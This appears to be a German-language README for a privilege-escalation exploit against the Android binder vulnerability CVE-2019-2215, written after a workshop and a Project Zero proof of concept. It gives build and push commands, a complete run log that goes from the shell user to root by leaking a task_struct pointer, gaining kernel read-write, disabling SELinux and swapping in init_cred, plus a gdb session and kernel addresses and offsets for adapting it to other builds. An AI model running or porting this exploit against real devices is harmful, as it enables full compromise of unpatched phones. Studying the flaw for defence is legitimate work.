CVE-2019-2215

DISCLAIMER: DER HIER BEREITGESTELLTE CODE DIENT AUSSCHLIESSLICH ZU BILDUNGS- UND VORFÜHRZWECKEN. ICH UNTERSTÜTZE WEDER JEMANDEN, DER DIESEN CODE (ODER DIE DARIN ENTHALTENEN INFORMATIONEN, SEINEN BUILD ODER IRGENDETWAS IN DIESEM REPOSITORY) AUS ILLEGALEN ODER UNMORALISCHEN GRÜNDEN VERWENDET, NOCH ÜBERNEHME ICH DAFÜR IRGENDEINE VERANTWORTUNG.

Danksagungen

Basierend auf einem proof-of-concept von Jann Horn & Maddie Stone von Google Project Zero

Besonderer Dank geht an CloudFuzz's workshop, der es mir ermöglicht hat, diesen Exploit zu schreiben.

Weiterer Dank an kangtastic, der eine weitere Referenzquelle bereitgestellt hat.

Verwendung

Um den Exploit zu erstellen:

NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make

Um den Exploit zu erstellen und auf ein laufendes Gerät hochzuladen (unter Verwendung des Android Studio Emulators):

NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit

Beispielnutzung:

mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ NDK_ROOT=~/Android/Sdk/ndk/22.0.7026061 make build-exploit push-exploit
Building: cve-2019-2215-exploit
Pushing: cve-2019-2215-exploit to /data/local/tmp
cve-2019-2215-exploit: 1 file pushed, 0 skipped. 480.0 MB/s (4891248 bytes in 0.010s)
File located in: /data/local/tmp/cve-2019-2215-exploit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ adb shell
generic_x86_64:/ $ id                                   
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0
generic_x86_64:/ $ /data/local/tmp/cve-2019-2215-exploit
[+] Allocating 4Gb aligned page...
    [+] Allocating page
    [+] Filling page with 'A's
    [+] Dummy page pointer: 0x100000000
[*] Page allocated successfully
[+] Leaking task_struct pointer...
    [+] Allocating binder and epoll file descriptors
    [+] Creating Pipe
    [+] Constructing IOVEC stack
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Reading leaked task_struct pointer
    [+] Leaked task_struct pointer: 0xffff888010731b80
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Leaked task_struct pointer successfully
[+] Getting arbitrary Read-Write permissions...
    [+] Allocating binder and epoll file descriptors
    [+] Creating socket
    [+] Writing junk data to socket
    [+] Constructing IOVEC stack
    [+] Crafting socket input data
    [+] Creating message header object
    [+] Forking child process
    [+] Allocating and linking binder_thread structure
    [+] Freeing binder_thread structure
    [+] Reallocating binder_thread structure as IOVECs
    [+] CHILD Triggering unlink
    [+] CHILD Reading 65536 'A's from pipe
    [+] CHILD Exiting
    [+] Verifying arbitrary R/W vector
    [+] Opening kernel R/W pipe
    [+] PID 7359 verified
    [+] Closing binder and epoll file descriptors
    [+] Closing any file descriptors allocated by the function
[*] Got arbitrary Read-Write permissions successfully
[+] Setting SELinux to permissive mode...
    [+] SELinux enforcing flag located at 0xffffffff816acfe8
    [+] SELinux enforcing flag already set to zero (permissive mode)
[*] Set SELinux to permissive mode successfully
[+] Updating kernel-space cred structure...
    [+] Copying nsproxy pointer from kernel-space
    [+] init_nsproxy structure address: 0xffffffff81433ac0
    [+] Kernel base address: 0xffffffff80200000
    [+] init_cred structure address: 0xffffffff81433c30
    [+] init_cred usage count: 0x2
    [+] Setting init_cred usage count to: 0x3
    [+] Setting task_struct credentials to init_cred
    [+] New process UID: 0
    [+] Closing kernel R/W pipe
[*] Updated kernel-space cred structure successfully

Exploitation Successful! Opening Privileged Shell...
generic_x86_64:/ # id
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
generic_x86_64:/ # exit

Exiting Privileged Shell...
generic_x86_64:/ $ exit
mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$

Debugging

Um den Exploit zu debuggen:

gdb -quiet ./path/to/dist/vmlinux -x commands.gdb

Beachten Sie, dass das Ausführen des Exploits, während gdb verbunden ist, ihn sehr unzuverlässig macht. Verbinden Sie gdb daher nur, wenn es nötig ist. Beispiel einer Debugging-Sitzung:

mohamed@mohamed-G5-5590:~/Desktop/android/CVE-2019-2215$ gdb -quiet ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux -x commands.gdb
Reading symbols from ../workshop/android-4.14-dev/out/relwithdebinfo/dist/vmlinux...
Note: running the exploit while gdb is connected makes it very unreliable, so only connect gdb when needed
warning: while parsing target description (at line 1): Could not load XML document "i386-64bit.xml"
warning: Could not load XML target description; ignoring
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
^C
Program received signal SIGINT, Interrupt.
native_safe_halt ()
    at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/arch/x86/include/asm/irqflags.h:61
61	}
Breakpoint 1 at 0xffffffff80823785: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c, line 4701.
Breakpoint 2 at 0xffffffff802aa69d: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 50.
Breakpoint 3 at 0xffffffff802aa6d5: file /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c, line 53.

Breakpoint 1, binder_free_thread (thread=0xffff888011821000) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/drivers/android/binder.c:4701
4701		BUG_ON(!list_empty(&thread->todo));
0xffff888011821000:	0xffff888028f72400	0x0000000000000001
0xffff888011821010:	0x0000000000000000	0x0000000000000000
0xffff888011821020:	0xffff888011821020	0xffff888011821020
0xffff888011821030:	0x0000002000001a13	0x0000000000000001
... (weitere Speicherabbildungen)

Breakpoint 2, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:50
50		spin_lock_irqsave(&wq_head->lock, flags);
... (Speicherabbildungen)

Breakpoint 3, remove_wait_queue (wq_head=0xffff8880118210a0, wq_entry=0xffff88806a848180) at /home/mohamed/Desktop/android/workshop/android-4.14-dev/goldfish/kernel/sched/wait.c:53
53	}
... (Speicherabbildungen)

...

Build-Notizen

Einige Konstanten in exploit.h sind buildspezifisch, und zwar:

// System.map
// ffffffff80200000 T _stext
// ffffffff81433ac0 D init_nsproxy
// ffffffff816acfe8 B selinux_enforcing
// ffffffff81433c30 D init_cred

#define KERNEL_BASE         0xffffffff80200000ul
#define INIT_NSPROXY        0xffffffff81433ac0ul
#define SELINUX_ENFORCING   0xffffffff816acfe8ul
#define INIT_CRED           0xffffffff81433c30ul

UND

// Variable offsets
// macro define offsetof(_type, _memb) ((long)(&((_type *)0)->_memb))
#define ADDR_LIMIT_OFFSET   0xa18ul // p /x (long)offsetof(struct task_struct, thread) + (long)offsetof(struct thread_struct, addr_limit)
#define PID_OFFSET          0x4e8ul // p /x offsetof(struct task_struct, pid)
#define NSPROXY_OFFSET      0x6c0ul // p /x offsetof(struct task_struct, nsproxy)
#define REAL_CRED_OFFSET    0x680ul // p /x offsetof(struct task_struct, real_cred)

Der erste Satz von Konstanten kann aus der System.map-Datei des Ziel-Builds entnommen werden, und der zweite Satz von Konstanten kann mit den entsprechenden gdb-Befehlen berechnet werden.

CVE-2019-2215

Beliebteste

CVE-2019-2215

Danksagungen

Verwendung

Debugging

Build-Notizen